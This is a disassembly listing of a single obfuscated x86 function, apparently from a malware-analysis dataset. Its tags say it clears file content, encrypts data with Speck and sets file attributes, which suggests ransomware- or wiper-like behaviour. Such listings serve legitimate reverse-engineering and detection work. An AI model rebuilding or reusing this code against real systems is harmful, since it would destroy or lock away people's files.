Function at 0x401056
Capabilities:
Clear file content
Encrypt data using speck
Set file attributes

Disassembly:
push edi
imul edx, dword [ebp - 0x75], 0xa4ec81ec
add byte [eax], al
add byte [ebx + 0x3d11084d], cl
add byte [eax - 0x7a47ffbe], ah
mov al, byte [eax]
add byte [esi + 0x33], ah
inc ecx
and byte [ebx], ch
or eax, 0x42b00c
mov ecx, 0x3b4b
xor dword [0x429018], 0x42b01c
add ax, cx
adc ecx, dword [0x42c010]
movzx eax, ax
mov ecx, dword [0x423df9]
mov ecx, dword [ecx]
sub dword [0x42d014], ecx
mov dword [ebp - 0x18], eax
and dword [0x42c008], ebx
mov byte [ebp - 1], 0x61
sbb ecx, 0x3fcf
lea eax, [ebp - 1]
sub ecx, ecx
xor ecx, dword [0x429024]
adc ecx, dword [0x42b004]
mov dword [0x429024], ecx
mov dword [ebp - 0x10], eax
mov ecx, dword [0x42d01c]
sub dword [0x42900c], ecx
mov al, byte [ebp - 1]
mov ecx, dword [ebp - 0x10]
xor dword [0x42b004], 0x42900c
xor al, 0x6f
sub al, 0xd
adc dword [0x42d008], 0x362f
mov byte [ecx], al
mov dword [0x429020], 0x1b
cmp dword [0x429020], 0
je 0x40113f
cmp dword [0x429020], 0x24
jne 0x40112d
push dword [ebp - 0x24]
push 0x4244e5
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ecx, dword [0x429020]
dec ecx
mov dword [0x429020], ecx
jmp 0x401105
mov dword [ebp - 0x14], 0xf89c85b6
push ebx
sub ecx, eax
mov dword [ebp - 8], 0xf89c85b5
and dword [0x42901c], ebx
mov ecx, dword [ebp - 0x14]
push esi
mov eax, 0x7510893
sub ecx, eax
or esi, dword [0x42900c]
mov esi, 0x3272db
and dword [0x429024], 0x1a45
push edi
sub dword [0x42c018], 0x2ac6
add ecx, esi
mov dword [0x42c008], 0x57e6
jmp 0x4011bb
mov dword [0x42a014], 0x4932
mov dl, byte [ebp - 1]
mov dword [0x42d014], 0x6fce
mov byte [ebp + ecx - 0xa4], dl
mov dword [0x42c010], 0x5862
inc ecx
mov dword [0x42a018], 0x6e07
cmp ecx, 0x40
jb 0x401192
sbb dword [0x42a010], 0x6c84
mov edx, dword [ebp - 0x14]
add dword [0x42b004], 0x42900c
sub edx, eax
sub dword [0x42c018], 0x6b15
add edx, esi
jmp 0x40132b
add dword [section..vnhjh], ecx
mov edi, dword [ebp + 8]
mov dword [0x42b010], 0x1a
cmp dword [0x42b010], 0
je 0x40126b
cmp dword [0x42b010], 3
jne 0x401233
push 0x3d21
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp dword [0x42b010], 4
jne 0x40124f
sub ecx, ecx
or ecx, dword [0x42b010]
dec ecx
mov dword [0x42b010], ecx
mov ecx, dword [0x42b010]
dec ecx
mov dword [0x42b010], ecx
jmp 0x40120b
mov ecx, 0x8a85
sbb dword [0x42a014], 0x4641
xor cx, word [edi + edx*4 + 2]
xor dword [0x42901c], edi
mov edi, 0x3b4b
add cx, di
and dword [0x42a01c], 0x60c1
movzx ecx, cx
mov dword [ebp - 0x10], ecx
and dword [0x42c014], 0
jmp 0x4012b9
mov ecx, dword [0x42c014]
inc ecx
mov dword [0x42c014], ecx
cmp dword [0x42c014], 0x14
jae 0x4012ec
cmp dword [0x42c014], 0x19
jne 0x4012e5
push 0x42d008
push 0
push 0x424428
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
jmp 0x4012ac
mov ecx, dword [ebp + 8]
mov dword [section..iuyhfv], 0x57bf
movzx ecx, word [ecx + edx*4]
sub ecx, 0x8a85
add dword [0x42b00c], 0x42c004
add ecx, edi
movzx edi, byte [0x42c018]
mov edi, dword [ebp - 0x10]
mov byte [ebp + edi - 0xa4], cl
mov dword [0x429024], 0x374e
inc edx
mov ecx, 0x6cf1
mov ecx, dword [ebp - 0x18]
cmp edx, ecx
jne 0x4011f8
mov ecx, dword [ebp - 0x14]
and dword [0x42d014], 0
mov edx, dword [0x42d014]
inc edx
mov dword [0x42d014], edx
cmp dword [0x42d014], 0x1e
jne 0x401370
push 0x42a010
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetCommTimeouts]
cmp dword [0x42d014], 0x1a
jb 0x401348
mov edx, dword [ebp + 0x10]
add dword [0x429018], 0x42d01c
sub ecx, eax
add ecx, esi
mov dword [edx], ecx
xor dword [0x429020], 0x151c
mov ecx, dword [ebp - 0x14]
sbb dword [0x42a004], 0x76e2
sub ecx, eax
add ecx, esi
mov dword [ebp - 0x20], ecx
mov dword [0x42c00c], 0x69f9
mov dword [ebp + 8], 0xf89c85b6
mov dword [ebp - 0xc], 0xf89c85a6
mov dword [0x42c00c], ecx
mov dword [ebp - 0x1c], 0xf89c95b6
mov ecx, dword [ebp - 0xc]
mov dword [0x429004], 0x7870
mov dword [ebp + 8], ecx
jmp 0x4015f6
xor dword [0x42a014], 0x45a5
mov ecx, dword [ebp + 8]
and dword [0x42b008], 0
mov edx, dword [0x42b008]
inc edx
mov dword [0x42b008], edx
cmp dword [0x42b008], 0x29
jne 0x401424
push 0x3311
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
cmp dword [0x42b008], 0x1f
jb 0x4013ff
adc dword [0x42a008], 0x7a1a
mov edx, dword [ebp - 8]
neg dword [0x42b00c]
sub ecx, eax
xor dword [0x429018], 0x42b01c
sub edx, eax
or dword [0x429020], 0x5996
sub ecx, edx
movzx edx, byte [0x42a014]
adc dword [0x429028], edx
sub ecx, esi
xor dword [0x429028], 0xa7c
sub ecx, eax
not edx
mov dword [ebp + 8], ecx
add dword [0x42a01c], 0x480
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x64]
or dword [0x429028], 0x2c95
lea ecx, [edx + ecx + 0x5708f5]
and edx, 0x1ea1
mov dword [ebp - 0x64], ecx
and dword [section..ewewfd], 0
jmp 0x4014c4
mov ecx, dword [section..ewewfd]
inc ecx
mov dword [section..ewewfd], ecx
cmp dword [section..ewewfd], 0x1f
jae 0x401506
cmp dword [section..ewewfd], 0x2a
jne 0x401501
push dword [ebp - 0x1c]
push dword [ebp - 0x10]
push 0x42a004
push 0x8921
push dword [ebp - 0x24]
push 0x8115
push 0x4d38
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
jmp 0x4014b7
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x60]
sub dword [section..iuyhfv], 0x42a01c
lea ecx, [edx + ecx + 0x5708f5]
neg edx
mov dword [ebp - 0x60], ecx
adc dword [0x42d01c], edx
mov ecx, dword [ebp + 8]
add dword [0x429008], 0x3e29
mov edx, dword [ebp - 0x5c]
add dword [0x429028], 0x42b010
lea ecx, [edx + ecx + 0x5708f4]
and dword [0x42d008], 0
mov edx, dword [0x42d008]
inc edx
mov dword [0x42d008], edx
cmp dword [0x42d008], 8
jne 0x401576
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
cmp dword [0x42d008], 7
jne 0x401592
sub edx, edx
or edx, dword [0x42d008]
inc edx
mov dword [0x42d008], edx
cmp dword [0x42d008], 0x17
jb 0x401553
xor edx, dword [0x42d00c]
mov dword [ebp - 0x5c], ecx
sbb ecx, edx
mov ecx, dword [ebp + 8]
xor dword [0x42b01c], 0x42c004
mov edx, dword [ebp - 0x58]
lea ecx, [edx + ecx + 0x5708fb]
sub edx, 0x2bb1
mov dword [ebp - 0x58], ecx
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x54]
adc dword [0x429024], 0x7906
lea ecx, [edx + ecx + 0x5708fa]
not edx
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x50]
lea ecx, [edx + ecx + 0x5708f9]
mov dword [ebp - 0x50], ecx
dec ecx
mov ecx, dword [ebp + 8]
sub ecx, eax
or dword [section..xlsdkf], 0x34f3
add ecx, esi
mov dword [0x42c01c], 0x3161
jne 0x4013e8
mov dword [0x429018], 0x1b23
jmp 0x405fe7
add byte [ebx + 0x2581e44d], cl
add al, al
inc edx
add byte [eax], al
add byte [eax], al
add cl, ch
sldt word [eax]
add byte [ecx], ch
sal byte [ebx], cl
adc eax, section..ewewfd
sub edx, edx
xor edx, dword [section..ewewfd]
inc edx
mov dword [section..ewewfd], edx
cmp dword [section..ewewfd], 0x15
jae 0x4016e1
cmp dword [section..ewewfd], 0xa
jne 0x40166e
push dword [ebp - 0x14]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_SetCommState]
cmp dword [section..ewewfd], 9
jne 0x40168a
sub edx, edx
add edx, dword [section..ewewfd]
inc edx
mov dword [section..ewewfd], edx
jmp 0x401639
mov edx, dword [ebp - 8]
sub ecx, eax
sub edx, eax
add dword [0x429014], 0x42d010
sub ecx, edx
mov dword [0x42d00c], 0x49b3
sub ecx, esi
sub ecx, eax
mov dword [0x42901c], 0x3f4e
mov dword [ebp - 0x1c], ecx
mov ecx, dword [0x42b014]
mov ecx, dword [ebp - 0xc]
mov dword [ebp + 8], ecx
jmp 0x40174d
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 8]
sub ecx, eax
sub edx, eax
sub ecx, edx
sub ecx, esi
sub ecx, eax
mov dword [ebp + 8], ecx
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 8]
imul edx, edx, 0x5708f5
sub ecx, eax
add ecx, esi
lea ecx, [ebp + ecx*4 - 0x64]
mov edi, dword [ecx]
add edx, edi
mov dword [ecx], edx
mov ecx, dword [ebp + 8]
sub ecx, eax
add ecx, esi
jne 0x401720
mov ecx, dword [ebp - 0x20]
mov cl, byte [ebp + ecx - 0xa4]
mov dl, byte [ebp - 1]
cmp cl, dl
je 0x405f48
mov ecx, dword [ebp - 0x20]
mov cl, byte [ebp + ecx - 0xa4]
mov edx, dword [ebp + 0xc]
cmp cl, byte [edx]
jne 0x405ff9
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp + 0xc]
movsx edx, byte [edx]
sub ecx, eax
add ecx, esi
jmp 0x403b14
ror dword [ebx + 0x4d89f44d], 1
or byte [ebx - 0x7bf0f7b3], cl
dec esi
and eax, 0x30e90000
add byte [eax], al
add byte [ebx + 0x558b084d], cl
clc
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 8]
sub ecx, eax
sub edx, eax
sub ecx, edx
sub ecx, esi
sub ecx, eax
mov dword [ebp + 8], ecx
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 8]
sub ecx, eax
imul edx, edx, 0x5708f5
add ecx, esi
lea ecx, [ebp + ecx*4 - 0x64]
mov edi, dword [ecx]
add edx, edi
mov dword [ecx], edx
mov ecx, dword [ebp + 8]
sub ecx, eax
add ecx, esi
jne 0x403b29
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp + 8]
sub ecx, eax
sub edx, eax
add ecx, esi
add edx, esi
cmp ecx, edx
jae 0x405f8c
lea edx, [ecx - 0x3272db]
mov dword [ebp - 0x18], edx
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x24], 0x705fd08
lea edx, [ebp - 0x24]
mov dword [ebp - 0x10], edx
mov edx, dword [ebp - 0x10]
add dword [edx], 0x705fa08
mov ebx, dword [ebp - 0x10]
sub edi, eax
add edi, dword [ebx]
lea edx, [ebp + ecx*4 - 0x64]
mov ebx, dword [edx]
sub edi, ebx
mov dword [edx], edi
jmp 0x405f2f
mov edx, dword [ebp + 8]
xor edx, eax
inc ecx
inc dword [ebp - 0x18]
add edx, esi
cmp ecx, edx
jb 0x403b82
jmp 0x405f8c
dec ebp
hlt
mov ecx, dword [ebp - 0xc]
mov dword [ebp + 8], ecx
jmp 0x405fc4
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 8]
sub ecx, eax
sub edx, eax
sub ecx, edx
sub ecx, esi
sub ecx, eax
mov dword [ebp + 8], ecx
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 8]
imul edx, edx, 0x5708f5
sub ecx, eax
add ecx, esi
lea ecx, [ebp + ecx*4 - 0x64]
mov edi, dword [ecx]
add edx, edi
mov dword [ecx], edx
mov ecx, dword [ebp + 8]
sub ecx, eax
add ecx, esi
jne 0x405f97
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x20]
sub ecx, eax
lea ecx, [ecx + edx + 0x3272db]
mov dword [ebp - 0x20], ecx
inc dword [ebp + 0xc]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
add ecx, esi
dec ebp
in al, 0x29
rol dword [ebx], 0xce
jne 0x401626
jmp 0x40607c
dec ebp
hlt
mov ecx, dword [ebp - 8]
sub ecx, eax
mov eax, dword [ebp + 0x10]
add ecx, esi
mov dword [eax], ecx
pop edi
jmp 0x40840c
pop ebx
leave
ret 0xc
invalid